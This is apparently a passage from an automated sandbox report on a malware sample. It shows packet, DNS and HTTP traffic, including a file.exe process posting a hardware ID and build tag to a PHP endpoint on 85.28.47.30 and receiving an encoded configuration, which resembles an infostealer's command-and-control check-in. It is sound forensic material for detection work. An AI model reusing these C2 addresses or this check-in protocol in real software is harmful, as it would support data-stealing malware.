Jul 4, 2024 20:36:44.128536940 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.128611088 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.128979921 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.128979921 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.129019022 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.142851114 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.142874002 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.143011093 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.146852016 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.146863937 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.330867052 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.406034946 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.406136990 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.406439066 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.406694889 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.406735897 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.637264013 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:44.638890982 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:44.641544104 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:44.642146111 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:44.646769047 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:44.646951914 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:44.647013903 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:44.650890112 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:44.651103020 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:44.655879974 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:45.065782070 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.066260099 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:45.066272020 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.066618919 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.067069054 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:45.067126989 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.067342997 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:45.067369938 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:45.067373991 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.358494997 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.358604908 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.358648062 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:45.359353065 CEST	49959	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:45.359364986 CEST	443	49959	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:45.379064083 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:45.379117012 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:45.489608049 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:45.489999056 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:45.494920969 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:45.494978905 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:45.495245934 CEST	80	49960	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:45.495290041 CEST	49960	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:45.495441914 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:45.500444889 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:45.857372999 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:45.857424974 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:45.858947039 CEST	49945	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:46.191682100 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:46.191819906 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:46.194722891 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:46.194722891 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:46.200153112 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:46.200273991 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:46.200387001 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:46.200892925 CEST	80	49961	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:46.200993061 CEST	49961	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:46.205508947 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:46.910156012 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:46.910212040 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.022342920 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.022818089 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.027492046 CEST	80	49962	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:47.027544022 CEST	49962	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.027916908 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:47.027987957 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.028392076 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.033834934 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:47.749773979 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:47.750922918 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.753815889 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.753817081 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.758567095 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:47.758840084 CEST	80	49963	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:47.758936882 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.758936882 CEST	49963	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.759188890 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:47.763993025 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:48.387279987 CEST	58834	53	192.168.2.4	1.1.1.1
Jul 4, 2024 20:36:48.392117977 CEST	53	58834	1.1.1.1	192.168.2.4
Jul 4, 2024 20:36:48.394956112 CEST	58834	53	192.168.2.4	1.1.1.1
Jul 4, 2024 20:36:48.394956112 CEST	58834	53	192.168.2.4	1.1.1.1
Jul 4, 2024 20:36:48.400723934 CEST	53	58834	1.1.1.1	192.168.2.4
Jul 4, 2024 20:36:48.468961000 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:48.470963001 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:48.586262941 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:48.586858988 CEST	58835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:48.591650963 CEST	80	49964	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:48.592518091 CEST	80	58835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:48.594940901 CEST	58835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:48.594943047 CEST	49964	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:48.595288038 CEST	58835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:48.600528002 CEST	80	58835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:48.862567902 CEST	53	58834	1.1.1.1	192.168.2.4
Jul 4, 2024 20:36:48.864267111 CEST	58834	53	192.168.2.4	1.1.1.1
Jul 4, 2024 20:36:48.872144938 CEST	53	58834	1.1.1.1	192.168.2.4
Jul 4, 2024 20:36:48.872189045 CEST	58834	53	192.168.2.4	1.1.1.1
Jul 4, 2024 20:36:49.323221922 CEST	80	58835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:49.323276043 CEST	58835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:49.405023098 CEST	58835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:49.405405998 CEST	58837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:49.410562038 CEST	80	58837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:49.410634041 CEST	58837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:49.410676956 CEST	80	58835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:49.410720110 CEST	58835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:49.411257982 CEST	58837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:49.416076899 CEST	80	58837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:50.158860922 CEST	80	58837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:50.158965111 CEST	58837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:50.301914930 CEST	58837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:50.301914930 CEST	58838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:50.306786060 CEST	80	58838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:50.306907892 CEST	58838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:50.307135105 CEST	58838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:50.307265997 CEST	80	58837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:50.310935020 CEST	58837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:50.317801952 CEST	80	58838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.022018909 CEST	80	58838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.022069931 CEST	58838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.025852919 CEST	58838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.026262999 CEST	58839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.031095028 CEST	80	58839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.031152010 CEST	58839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.031331062 CEST	58839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.031372070 CEST	80	58838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.031414032 CEST	58838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.036277056 CEST	80	58839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.750097036 CEST	80	58839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.751005888 CEST	58839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.863308907 CEST	58839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.866869926 CEST	58840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.870574951 CEST	80	58839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.870698929 CEST	58839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.873791933 CEST	80	58840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:51.874108076 CEST	58840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.874412060 CEST	58840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:51.880707026 CEST	80	58840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:52.600049973 CEST	80	58840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:52.600958109 CEST	58840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:52.604072094 CEST	58840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:52.604072094 CEST	58841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:52.609014988 CEST	80	58841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:52.609061003 CEST	80	58840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:52.613281012 CEST	58841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:52.613281965 CEST	58840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:52.617016077 CEST	58841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:52.622334957 CEST	80	58841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:53.350227118 CEST	80	58841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:53.350285053 CEST	58841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:53.457753897 CEST	58841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:53.458039999 CEST	58842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:53.467667103 CEST	80	58842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:53.467732906 CEST	58842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:53.467946053 CEST	58842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:53.468447924 CEST	80	58841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:53.468492031 CEST	58841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:53.473362923 CEST	80	58842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:54.161339045 CEST	80	58842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:54.161453962 CEST	58842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:54.164674044 CEST	58842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:54.164680958 CEST	58843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:54.170581102 CEST	80	58843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:54.170768976 CEST	58843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:54.171124935 CEST	58843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:54.171468019 CEST	80	58842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:54.171554089 CEST	58842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:54.177263975 CEST	80	58843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:54.900237083 CEST	80	58843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:54.900343895 CEST	58843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.005642891 CEST	58843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.006074905 CEST	58844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.011337042 CEST	80	58844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:55.011394024 CEST	58844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.011535883 CEST	58844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.012139082 CEST	80	58843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:55.012202024 CEST	58843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.016608953 CEST	80	58844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:55.741672039 CEST	80	58844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:55.746951103 CEST	58844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.750098944 CEST	58844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.750375986 CEST	58845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.755341053 CEST	80	58845	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:55.755445004 CEST	58845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.755904913 CEST	80	58844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:55.757081985 CEST	58845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.757157087 CEST	58844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:55.761926889 CEST	80	58845	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:56.456054926 CEST	80	58845	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:56.457020044 CEST	58845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:56.568638086 CEST	58845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:56.568638086 CEST	58846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:56.573494911 CEST	80	58846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:56.573625088 CEST	58846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:56.573786974 CEST	58846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:56.574220896 CEST	80	58845	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:56.576981068 CEST	58845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:56.579169989 CEST	80	58846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:57.287322998 CEST	80	58846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:57.287379026 CEST	58846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:57.290694952 CEST	58846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:57.290977955 CEST	58847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:57.295749903 CEST	80	58846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:57.295794964 CEST	58846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:57.296073914 CEST	80	58847	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:57.296135902 CEST	58847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:57.296441078 CEST	58847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:57.301899910 CEST	80	58847	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:58.020920992 CEST	80	58847	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:58.020992994 CEST	58847	80	192.168.2.4	77.91.77.82

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 4, 2024 20:34:31.049300909 CEST	192.168.2.4	1.1.1.1	0x4ffa	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.049469948 CEST	192.168.2.4	1.1.1.1	0x9719	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 4, 2024 20:34:35.158296108 CEST	192.168.2.4	1.1.1.1	0x1753	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:35.158449888 CEST	192.168.2.4	1.1.1.1	0x70cd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 4, 2024 20:34:39.088197947 CEST	192.168.2.4	1.1.1.1	0xaad3	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:39.088360071 CEST	192.168.2.4	1.1.1.1	0xd5bf	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Jul 4, 2024 20:34:40.174755096 CEST	192.168.2.4	1.1.1.1	0x5042	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:40.174916983 CEST	192.168.2.4	1.1.1.1	0x66f0	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jul 4, 2024 20:35:41.248018980 CEST	192.168.2.4	1.1.1.1	0x8c5	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:35:41.248322010 CEST	192.168.2.4	1.1.1.1	0x42ef	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jul 4, 2024 20:36:43.466696978 CEST	192.168.2.4	1.1.1.1	0x2b7c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:36:43.467061043 CEST	192.168.2.4	1.1.1.1	0xfbdf	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jul 4, 2024 20:37:44.519622087 CEST	192.168.2.4	1.1.1.1	0x9c6a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:37:44.519622087 CEST	192.168.2.4	1.1.1.1	0xe791	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057449102 CEST	1.1.1.1	192.168.2.4	0x4ffa	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057930946 CEST	1.1.1.1	192.168.2.4	0x9719	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:34:31.057930946 CEST	1.1.1.1	192.168.2.4	0x9719	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 4, 2024 20:34:35.203279972 CEST	1.1.1.1	192.168.2.4	0x1753	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:35.203294039 CEST	1.1.1.1	192.168.2.4	0x70cd	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 4, 2024 20:34:39.095299959 CEST	1.1.1.1	192.168.2.4	0xaad3	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:34:39.095299959 CEST	1.1.1.1	192.168.2.4	0xaad3	No error (0)	www3.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:34:39.095324993 CEST	1.1.1.1	192.168.2.4	0xd5bf	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:34:40.181971073 CEST	1.1.1.1	192.168.2.4	0x5042	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:35:41.255064964 CEST	1.1.1.1	192.168.2.4	0x8c5	No error (0)	play.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:36:43.473795891 CEST	1.1.1.1	192.168.2.4	0x2b7c	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:37:44.527107000 CEST	1.1.1.1	192.168.2.4	0x9c6a	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	85.28.47.30	80	6636	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:33:54.677386045 CEST	409	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJ Host: 85.28.47.30 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 45 37 33 33 31 42 30 43 41 32 37 30 32 36 31 31 38 32 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="hwid"D9CE7331B0CA2702611826------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="build"Nice------AEHIJKKFHIEGCBGCAFIJ--
Jul 4, 2024 20:33:55.395612955 CEST	384	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:33:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 67 33 5a 44 42 6c 4e 44 6c 6d 4e 6a 49 30 4e 47 59 78 59 7a 52 6a 4e 57 59 35 4f 47 51 35 4d 44 67 31 4f 44 56 6a 4d 6a 68 6b 4f 44 68 69 59 32 52 69 59 57 4d 32 4e 6d 5a 6d 4e 6a 59 35 5a 6d 59 30 4e 44 56 6c 5a 54 4e 6d 4f 44 52 6c 4d 6a 67 33 5a 54 59 33 59 32 49 78 4d 7a 42 6b 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: Mjg3ZDBlNDlmNjI0NGYxYzRjNWY5OGQ5MDg1ODVjMjhkODhiY2RiYWM2NmZmNjY5ZmY0NDVlZTNmODRlMjg3ZTY3Y2IxMzBkfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
